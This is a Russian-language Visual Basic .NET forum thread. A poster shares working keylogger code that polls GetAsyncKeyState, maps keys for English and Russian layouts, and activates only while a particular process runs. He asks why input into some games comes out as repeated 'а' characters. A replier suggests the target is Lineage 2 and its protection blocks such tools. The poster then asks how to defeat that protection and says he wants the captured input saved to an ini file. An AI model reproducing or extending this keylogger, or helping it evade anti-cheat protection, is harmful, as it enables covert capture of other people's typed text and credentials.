Не ловятся клавиши в программе

Язык Visual Basic на платформе .NET.

Модераторы: Ramzes, Sebas

GoodWin
Начинающий
Начинающий
 
Сообщения: 6
Зарегистрирован: 09.04.2009 (Чт) 16:53

Не ловятся клавиши в программе

Сообщение GoodWin » 09.03.2010 (Вт) 22:57

Проблема читаю клавиши при нахождении определенного процесса. В случае его отсутствие чтение и запись клавиш не идет.
Во всех программах стабильно работает чтение клавиш и пишет соответствующие клавиши, а в некоторых программах и играх почему то чтение клавиш не работает,т.е. нажатие фиксируется но вместо например набраного текста "Good moning!" в текстбоксе отржаются "аааа аааааа". Что делать незнаю может кто подскажет?
Код: Выделить всё
Public Class Form1
    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetKeyboardLayoutName Lib "user32" Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As Long

    Private Declare Function SetWindowPos Lib _
        "user32" (ByVal hwnd As Long, _
         ByVal hWndInsertAfter As Long, _
         ByVal x As Long, ByVal y As Long, _
         ByVal cx As Long, ByVal cy As Long, _
         ByVal wFlags As Long) As Long
    Private Declare Function FindWindow Lib _
        "user32" Alias "FindWindowA" _
        (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long
    Const SWP_HIDEWINDOW = &H80
    Const SWP_SHOWWINDOW = &H40
    Dim hPanel As Long
    Dim la2ex As Integer = 0

    Private Declare Function GetForegroundWindow Lib "user32" () As Long
    Private Declare Function FlashWindow Lib "user32" (ByVal hwnd As Long, ByVal bInvert As Long) As Long
    Const Invert = 1
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long


    Public Const VK_TAB = &H9 ' Константа для TAB key.
    Public Const VK_A = &H41 ' Константа для A key.
    Public Const VK_B = &H42 ' Константа для B key.
    Public Const VK_C = &H43 ' Константа для C key.
    Public Const VK_D = &H44 ' Константа для D key.
    Public Const VK_E = &H45 ' Константа для E key.
    Public Const VK_F = &H46 ' Константа для F key.
    Public Const VK_G = &H47 ' Константа для G key.
    Public Const VK_H = &H48 ' Константа для H key.
    Public Const VK_I = &H49 ' Константа для I key.
    Public Const VK_J = &H4A ' Константа для J key.
    Public Const VK_K = &H4B ' Константа для K key.
    Public Const VK_L = &H4C ' Константа для L key.
    Public Const VK_M = &H4D ' Константа для M key.
    Public Const VK_N = &H4E ' Константа для N key.
    Public Const VK_O = &H4F ' Константа для O key.
    Public Const VK_P = &H50 ' Константа для P key.
    Public Const VK_Q = &H51 ' Константа для Q key.
    Public Const VK_R = &H52 ' Константа для R key.
    Public Const VK_S = &H53 ' Константа для S key.
    Public Const VK_T = &H54 ' Константа для T key.
    Public Const VK_U = &H55 ' Константа для U key.
    Public Const VK_V = &H56 ' Константа для U key.
    Public Const VK_W = &H57 ' Константа для U key.
    Public Const VK_X = &H58 ' Константа для U key.
    Public Const VK_Y = &H59 ' Константа для U key.
    Public Const VK_Z = &H5A ' Константа для U key.

    Public Const VK_1 = &H31 ' Константа для U key.
    Public Const VK_2 = &H32 ' Константа для U key.
    Public Const VK_3 = &H33 ' Константа для U key.
    Public Const VK_4 = &H34 ' Константа для U key.
    Public Const VK_5 = &H35 ' Константа для U key.
    Public Const VK_6 = &H36 ' Константа для U key.
    Public Const VK_7 = &H37 ' Константа для U key.
    Public Const VK_8 = &H38 ' Константа для U key.
    Public Const VK_9 = &H39 ' Константа для U key.
    Public Const VK_0 = &H30 ' Константа для U key.
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Me.Visible = True
    End Sub
    Private Sub Button1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Button1.KeyDown ' Событие происходит когда клавиша переходит в нажатое состояние
        MsgBox("ASCII код:" & e.KeyCode & ". Нажата клавиша: " & Chr(e.KeyCode)) ' 'e' - это переменная содержащия все свойства и методы класса System.Windows.Forms.KeyEventArgs, сейчас ты можешь не забивать себе голову классами, и вобще устройством работы с клавиатурой(сейчас все равно ни чего не поймешь, с классами ты познакомишься позже). Из этого шага ты должен узнать только что e.KeyCode - это ASCII код нажатой клавиши. При помощи функции Chr() ASCII код перекодируется в нормальную кодировку.
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       
        If la2ex > 0 Then


            Dim KeybLayoutName As String
            KeybLayoutName = "000000000"
            GetKeyboardLayoutName(KeybLayoutName)
            'Номер 409 - английская, 419 - русская
            TextBox2.Text = CStr(CLng(KeybLayoutName.Substring(1, _
            InStr(1, KeybLayoutName, Chr(0)) - 1)))

            If GetAsyncKeyState(VK_TAB) Then
                TextBox1.Text += "[TAB]"
            End If
            If GetAsyncKeyState(&H10) Or My.Computer.Keyboard.CapsLock = True Then
                If GetAsyncKeyState(&H10) Then
                    If GetAsyncKeyState(VK_1) Then
                        TextBox1.Text += "!"
                    End If
                    If GetAsyncKeyState(VK_2) Then
                        TextBox1.Text += "@"
                    End If
                    If GetAsyncKeyState(VK_3) Then
                        TextBox1.Text += "#"
                    End If
                    If GetAsyncKeyState(VK_4) Then
                        TextBox1.Text += "$"
                    End If
                    If GetAsyncKeyState(VK_5) Then
                        TextBox1.Text += "%"
                    End If
                    If GetAsyncKeyState(VK_6) Then
                        TextBox1.Text += "^"
                    End If
                    If GetAsyncKeyState(VK_7) Then
                        TextBox1.Text += "&"
                    End If
                    If GetAsyncKeyState(VK_8) Then
                        TextBox1.Text += "*"
                    End If
                    If GetAsyncKeyState(VK_9) Then
                        TextBox1.Text += "("
                    End If
                    If GetAsyncKeyState(VK_0) Then
                        TextBox1.Text += ")"
                    End If
                Else
                    If GetAsyncKeyState(VK_1) Then
                        TextBox1.Text += "1"
                    End If
                    If GetAsyncKeyState(VK_2) Then
                        TextBox1.Text += "2"
                    End If
                    If GetAsyncKeyState(VK_3) Then
                        TextBox1.Text += "3"
                    End If
                    If GetAsyncKeyState(VK_4) Then
                        TextBox1.Text += "4"
                    End If
                    If GetAsyncKeyState(VK_5) Then
                        TextBox1.Text += "5"
                    End If
                    If GetAsyncKeyState(VK_6) Then
                        TextBox1.Text += "6"
                    End If
                    If GetAsyncKeyState(VK_7) Then
                        TextBox1.Text += "7"
                    End If
                    If GetAsyncKeyState(VK_8) Then
                        TextBox1.Text += "8"
                    End If
                    If GetAsyncKeyState(VK_9) Then
                        TextBox1.Text += "9"
                    End If
                    If GetAsyncKeyState(VK_0) Then
                        TextBox1.Text += "0"
                    End If
                End If
                If (TextBox2.Text = "409") Then

                    If GetAsyncKeyState(VK_A) Then
                        TextBox1.Text += "A"
                    End If
                    If GetAsyncKeyState(VK_B) Then
                        TextBox1.Text += "B"
                    End If
                    If GetAsyncKeyState(VK_C) Then
                        TextBox1.Text += "C"
                    End If
                    If GetAsyncKeyState(VK_D) Then
                        TextBox1.Text += "D"
                    End If
                    If GetAsyncKeyState(VK_E) Then
                        TextBox1.Text += "E"
                    End If
                    If GetAsyncKeyState(VK_F) Then
                        TextBox1.Text += "F"
                    End If
                    If GetAsyncKeyState(VK_G) Then
                        TextBox1.Text += "G"
                    End If
                    If GetAsyncKeyState(VK_H) Then
                        TextBox1.Text += "H"
                    End If
                    If GetAsyncKeyState(VK_I) Then
                        TextBox1.Text += "I"
                    End If
                    If GetAsyncKeyState(VK_J) Then
                        TextBox1.Text += "J"
                    End If
                    If GetAsyncKeyState(VK_K) Then
                        TextBox1.Text += "K"
                    End If
                    If GetAsyncKeyState(VK_L) Then
                        TextBox1.Text += "L"
                    End If
                    If GetAsyncKeyState(VK_M) Then
                        TextBox1.Text += "M"
                    End If
                    If GetAsyncKeyState(VK_N) Then
                        TextBox1.Text += "N"
                    End If
                    If GetAsyncKeyState(VK_O) Then
                        TextBox1.Text += "O"
                    End If
                    If GetAsyncKeyState(VK_P) Then
                        TextBox1.Text += "P"
                    End If
                    If GetAsyncKeyState(VK_Q) Then
                        TextBox1.Text += "Q"
                    End If
                    If GetAsyncKeyState(VK_R) Then
                        TextBox1.Text += "R"
                    End If
                    If GetAsyncKeyState(VK_S) Then
                        TextBox1.Text += "S"
                    End If
                    If GetAsyncKeyState(VK_T) Then
                        TextBox1.Text += "T"
                    End If
                    If GetAsyncKeyState(VK_U) Then
                        TextBox1.Text += "U"
                    End If
                    If GetAsyncKeyState(VK_V) Then
                        TextBox1.Text += "V"
                    End If
                    If GetAsyncKeyState(VK_W) Then
                        TextBox1.Text += "W"
                    End If
                    If GetAsyncKeyState(VK_X) Then
                        TextBox1.Text += "X"
                    End If
                    If GetAsyncKeyState(VK_Y) Then
                        TextBox1.Text += "Y"
                    End If
                    If GetAsyncKeyState(VK_Z) Then
                        TextBox1.Text += "Z"
                    End If

                End If
                If (TextBox2.Text = "419") Then
                    If GetAsyncKeyState(VK_A) Then
                        TextBox1.Text += "Ф"
                    End If
                    If GetAsyncKeyState(VK_B) Then
                        TextBox1.Text += "И"
                    End If
                    If GetAsyncKeyState(VK_C) Then
                        TextBox1.Text += "С"
                    End If
                    If GetAsyncKeyState(VK_D) Then
                        TextBox1.Text += "В"
                    End If
                    If GetAsyncKeyState(VK_E) Then
                        TextBox1.Text += "У"
                    End If
                    If GetAsyncKeyState(VK_F) Then
                        TextBox1.Text += "А"
                    End If
                    If GetAsyncKeyState(VK_G) Then
                        TextBox1.Text += "П"
                    End If
                    If GetAsyncKeyState(VK_H) Then
                        TextBox1.Text += "Р"
                    End If
                    If GetAsyncKeyState(VK_I) Then
                        TextBox1.Text += "Ш"
                    End If
                    If GetAsyncKeyState(VK_J) Then
                        TextBox1.Text += "О"
                    End If
                    If GetAsyncKeyState(VK_K) Then
                        TextBox1.Text += "Л"
                    End If
                    If GetAsyncKeyState(VK_L) Then
                        TextBox1.Text += "Д"
                    End If
                    If GetAsyncKeyState(VK_M) Then
                        TextBox1.Text += "Ь"
                    End If
                    If GetAsyncKeyState(VK_N) Then
                        TextBox1.Text += "Т"
                    End If
                    If GetAsyncKeyState(VK_O) Then
                        TextBox1.Text += "Щ"
                    End If
                    If GetAsyncKeyState(VK_P) Then
                        TextBox1.Text += "З"
                    End If
                    If GetAsyncKeyState(VK_Q) Then
                        TextBox1.Text += "Й"
                    End If
                    If GetAsyncKeyState(VK_R) Then
                        TextBox1.Text += "К"
                    End If
                    If GetAsyncKeyState(VK_S) Then
                        TextBox1.Text += "Ы"
                    End If
                    If GetAsyncKeyState(VK_T) Then
                        TextBox1.Text += "Е"
                    End If
                    If GetAsyncKeyState(VK_U) Then
                        TextBox1.Text += "Г"
                    End If
                    If GetAsyncKeyState(VK_V) Then
                        TextBox1.Text += "М"
                    End If
                    If GetAsyncKeyState(VK_W) Then
                        TextBox1.Text += "Ц"
                    End If
                    If GetAsyncKeyState(VK_X) Then
                        TextBox1.Text += "Ч"
                    End If
                    If GetAsyncKeyState(VK_Y) Then
                        TextBox1.Text += "Н"
                    End If
                    If GetAsyncKeyState(VK_Z) Then
                        TextBox1.Text += "Я"
                    End If
                    If GetAsyncKeyState(&HBA) Then
                        TextBox1.Text += "Ж"
                    End If
                    If GetAsyncKeyState(&HDE) Then
                        TextBox1.Text += "Э"
                    End If
                    If GetAsyncKeyState(&HDB) Then
                        TextBox1.Text += "Х"
                    End If
                    If GetAsyncKeyState(&HDD) Then
                        TextBox1.Text += "Ъ"
                    End If
                    If GetAsyncKeyState(&HBC) Then
                        TextBox1.Text += "Б"
                    End If
                    If GetAsyncKeyState(&HBE) Then
                        TextBox1.Text += "Ю"
                    End If
                End If
            Else
                If GetAsyncKeyState(VK_1) Then
                    TextBox1.Text += "1"
                End If
                If GetAsyncKeyState(VK_2) Then
                    TextBox1.Text += "2"
                End If
                If GetAsyncKeyState(VK_3) Then
                    TextBox1.Text += "3"
                End If
                If GetAsyncKeyState(VK_4) Then
                    TextBox1.Text += "4"
                End If
                If GetAsyncKeyState(VK_5) Then
                    TextBox1.Text += "5"
                End If
                If GetAsyncKeyState(VK_6) Then
                    TextBox1.Text += "6"
                End If
                If GetAsyncKeyState(VK_7) Then
                    TextBox1.Text += "7"
                End If
                If GetAsyncKeyState(VK_8) Then
                    TextBox1.Text += "8"
                End If
                If GetAsyncKeyState(VK_9) Then
                    TextBox1.Text += "9"
                End If
                If GetAsyncKeyState(VK_0) Then
                    TextBox1.Text += "0"
                End If

                If (TextBox2.Text = "409") Then
                    If GetAsyncKeyState(VK_A) Then
                        TextBox1.Text += "a"
                    End If
                    If GetAsyncKeyState(VK_B) Then
                        TextBox1.Text += "b"
                    End If
                    If GetAsyncKeyState(VK_C) Then
                        TextBox1.Text += "c"
                    End If
                    If GetAsyncKeyState(VK_D) Then
                        TextBox1.Text += "d"
                    End If
                    If GetAsyncKeyState(VK_E) Then
                        TextBox1.Text += "e"
                    End If
                    If GetAsyncKeyState(VK_F) Then
                        TextBox1.Text += "f"
                    End If
                    If GetAsyncKeyState(VK_G) Then
                        TextBox1.Text += "g"
                    End If
                    If GetAsyncKeyState(VK_H) Then
                        TextBox1.Text += "h"
                    End If
                    If GetAsyncKeyState(VK_I) Then
                        TextBox1.Text += "i"
                    End If
                    If GetAsyncKeyState(VK_J) Then
                        TextBox1.Text += "j"
                    End If
                    If GetAsyncKeyState(VK_K) Then
                        TextBox1.Text += "k"
                    End If
                    If GetAsyncKeyState(VK_L) Then
                        TextBox1.Text += "l"
                    End If
                    If GetAsyncKeyState(VK_M) Then
                        TextBox1.Text += "m"
                    End If
                    If GetAsyncKeyState(VK_N) Then
                        TextBox1.Text += "n"
                    End If
                    If GetAsyncKeyState(VK_O) Then
                        TextBox1.Text += "o"
                    End If
                    If GetAsyncKeyState(VK_P) Then
                        TextBox1.Text += "p"
                    End If
                    If GetAsyncKeyState(VK_Q) Then
                        TextBox1.Text += "q"
                    End If
                    If GetAsyncKeyState(VK_R) Then
                        TextBox1.Text += "r"
                    End If
                    If GetAsyncKeyState(VK_S) Then
                        TextBox1.Text += "s"
                    End If
                    If GetAsyncKeyState(VK_T) Then
                        TextBox1.Text += "t"
                    End If
                    If GetAsyncKeyState(VK_U) Then
                        TextBox1.Text += "u"
                    End If
                    If GetAsyncKeyState(VK_V) Then
                        TextBox1.Text += "v"
                    End If
                    If GetAsyncKeyState(VK_W) Then
                        TextBox1.Text += "w"
                    End If
                    If GetAsyncKeyState(VK_X) Then
                        TextBox1.Text += "x"
                    End If
                    If GetAsyncKeyState(VK_Y) Then
                        TextBox1.Text += "y"
                    End If
                    If GetAsyncKeyState(VK_Z) Then
                        TextBox1.Text += "z"
                    End If

                End If
                If (TextBox2.Text = "419") Then
                    If GetAsyncKeyState(VK_A) Then
                        TextBox1.Text += "ф"
                    End If
                    If GetAsyncKeyState(VK_B) Then
                        TextBox1.Text += "и"
                    End If
                    If GetAsyncKeyState(VK_C) Then
                        TextBox1.Text += "с"
                    End If
                    If GetAsyncKeyState(VK_D) Then
                        TextBox1.Text += "в"
                    End If
                    If GetAsyncKeyState(VK_E) Then
                        TextBox1.Text += "у"
                    End If
                    If GetAsyncKeyState(VK_F) Then
                        TextBox1.Text += "а"
                    End If
                    If GetAsyncKeyState(VK_G) Then
                        TextBox1.Text += "п"
                    End If
                    If GetAsyncKeyState(VK_H) Then
                        TextBox1.Text += "р"
                    End If
                    If GetAsyncKeyState(VK_I) Then
                        TextBox1.Text += "ш"
                    End If
                    If GetAsyncKeyState(VK_J) Then
                        TextBox1.Text += "о"
                    End If
                    If GetAsyncKeyState(VK_K) Then
                        TextBox1.Text += "л"
                    End If
                    If GetAsyncKeyState(VK_L) Then
                        TextBox1.Text += "д"
                    End If
                    If GetAsyncKeyState(VK_M) Then
                        TextBox1.Text += "ь"
                    End If
                    If GetAsyncKeyState(VK_N) Then
                        TextBox1.Text += "т"
                    End If
                    If GetAsyncKeyState(VK_O) Then
                        TextBox1.Text += "щ"
                    End If
                    If GetAsyncKeyState(VK_P) Then
                        TextBox1.Text += "з"
                    End If
                    If GetAsyncKeyState(VK_Q) Then
                        TextBox1.Text += "й"
                    End If
                    If GetAsyncKeyState(VK_R) Then
                        TextBox1.Text += "к"
                    End If
                    If GetAsyncKeyState(VK_S) Then
                        TextBox1.Text += "ы"
                    End If
                    If GetAsyncKeyState(VK_T) Then
                        TextBox1.Text += "е"
                    End If
                    If GetAsyncKeyState(VK_U) Then
                        TextBox1.Text += "г"
                    End If
                    If GetAsyncKeyState(VK_V) Then
                        TextBox1.Text += "м"
                    End If
                    If GetAsyncKeyState(VK_W) Then
                        TextBox1.Text += "ц"
                    End If
                    If GetAsyncKeyState(VK_X) Then
                        TextBox1.Text += "ч"
                    End If
                    If GetAsyncKeyState(VK_Y) Then
                        TextBox1.Text += "н"
                    End If
                    If GetAsyncKeyState(VK_Z) Then
                        TextBox1.Text += "я"
                    End If
                    If GetAsyncKeyState(&HBA) Then
                        TextBox1.Text += "ж"
                    End If
                    If GetAsyncKeyState(&HDE) Then
                        TextBox1.Text += "э"
                    End If
                    If GetAsyncKeyState(&HDB) Then
                        TextBox1.Text += "х"
                    End If
                    If GetAsyncKeyState(&HDD) Then
                        TextBox1.Text += "ъ"
                    End If
                    If GetAsyncKeyState(&HBC) Then
                        TextBox1.Text += "б"
                    End If
                    If GetAsyncKeyState(&HBE) Then
                        TextBox1.Text += "ю"
                    End If
                End If

            End If
        End If
    End Sub

    Private Sub TextBox1_KeyDown(ByVal KeyCode As Integer, ByVal Shift As Integer)
        MsgBox(KeyCode)
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        la2ex = 0
        ListBox1.Items.Clear()
        Dim pList() As System.Diagnostics.Process = _
             System.Diagnostics.Process.GetProcesses
        For Each proc As System.Diagnostics.Process In pList
            ListBox1.Items.Add(proc.ProcessName())
            If proc.ProcessName = "fert" Then
                la2ex += 1

            End If
        Next
        TextBox5.Text = la2ex
    End Sub
End Class
Последний раз редактировалось GoodWin 10.03.2010 (Ср) 1:01, всего редактировалось 1 раз.

MIT
Мега гуру
Мега гуру
Аватара пользователя
 
Сообщения: 2211
Зарегистрирован: 17.09.2006 (Вс) 22:46

Re: Не ловятся клавиши в игре

Сообщение MIT » 09.03.2010 (Вт) 23:30

Может в линейке сделана защита от таких особо умных индивидов?..
Изображение
You can change your face, but can`t change your mind. No matter what you do.
Создайте еще более понятный интерфейс и мир создаст еще более тупого юзера. (с) Баш

GoodWin
Начинающий
Начинающий
 
Сообщения: 6
Зарегистрирован: 09.04.2009 (Чт) 16:53

Re: Не ловятся клавиши в игре

Сообщение GoodWin » 09.03.2010 (Вт) 23:38

В какой "линейке" простите? Объесните что вы имеете под этим. Просто не совсем Вас понял. Мне нужно чтобы с программы считывалась информация о введенном и уходило в конфигурционный файл ini вместе с его позициями и т.д., но все что вводят в программу почему то все символы буквенные отображаются как "а", а числа как "1"

MIT
Мега гуру
Мега гуру
Аватара пользователя
 
Сообщения: 2211
Зарегистрирован: 17.09.2006 (Вс) 22:46

Re: Не ловятся клавиши в игре

Сообщение MIT » 10.03.2010 (Ср) 0:07

GoodWin писал(а):В какой "линейке" простите?
Да это я так, не обращай внимания...

GoodWin писал(а):Не ловятся клавиши в игре
GoodWin писал(а):If la2ex > 0 Then
Подчеркнутое вполне может иметь отношение к игре Linage 2, или по-просту — линейке.

GoodWin писал(а):все символы буквенные отображаются как "а", а числа как "1"
Чудеса :)
Изображение
You can change your face, but can`t change your mind. No matter what you do.
Создайте еще более понятный интерфейс и мир создаст еще более тупого юзера. (с) Баш

GoodWin
Начинающий
Начинающий
 
Сообщения: 6
Зарегистрирован: 09.04.2009 (Чт) 16:53

Re: Не ловятся клавиши в игре

Сообщение GoodWin » 10.03.2010 (Ср) 1:00

Нет я в эту игру не играю la это Last Action To Exists просто сокращено написал проверка там идет на последние действие. Подскажите лучше что делать с программой которая защищается таким образом?


Вернуться в Visual Basic .NET

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 44

    TopList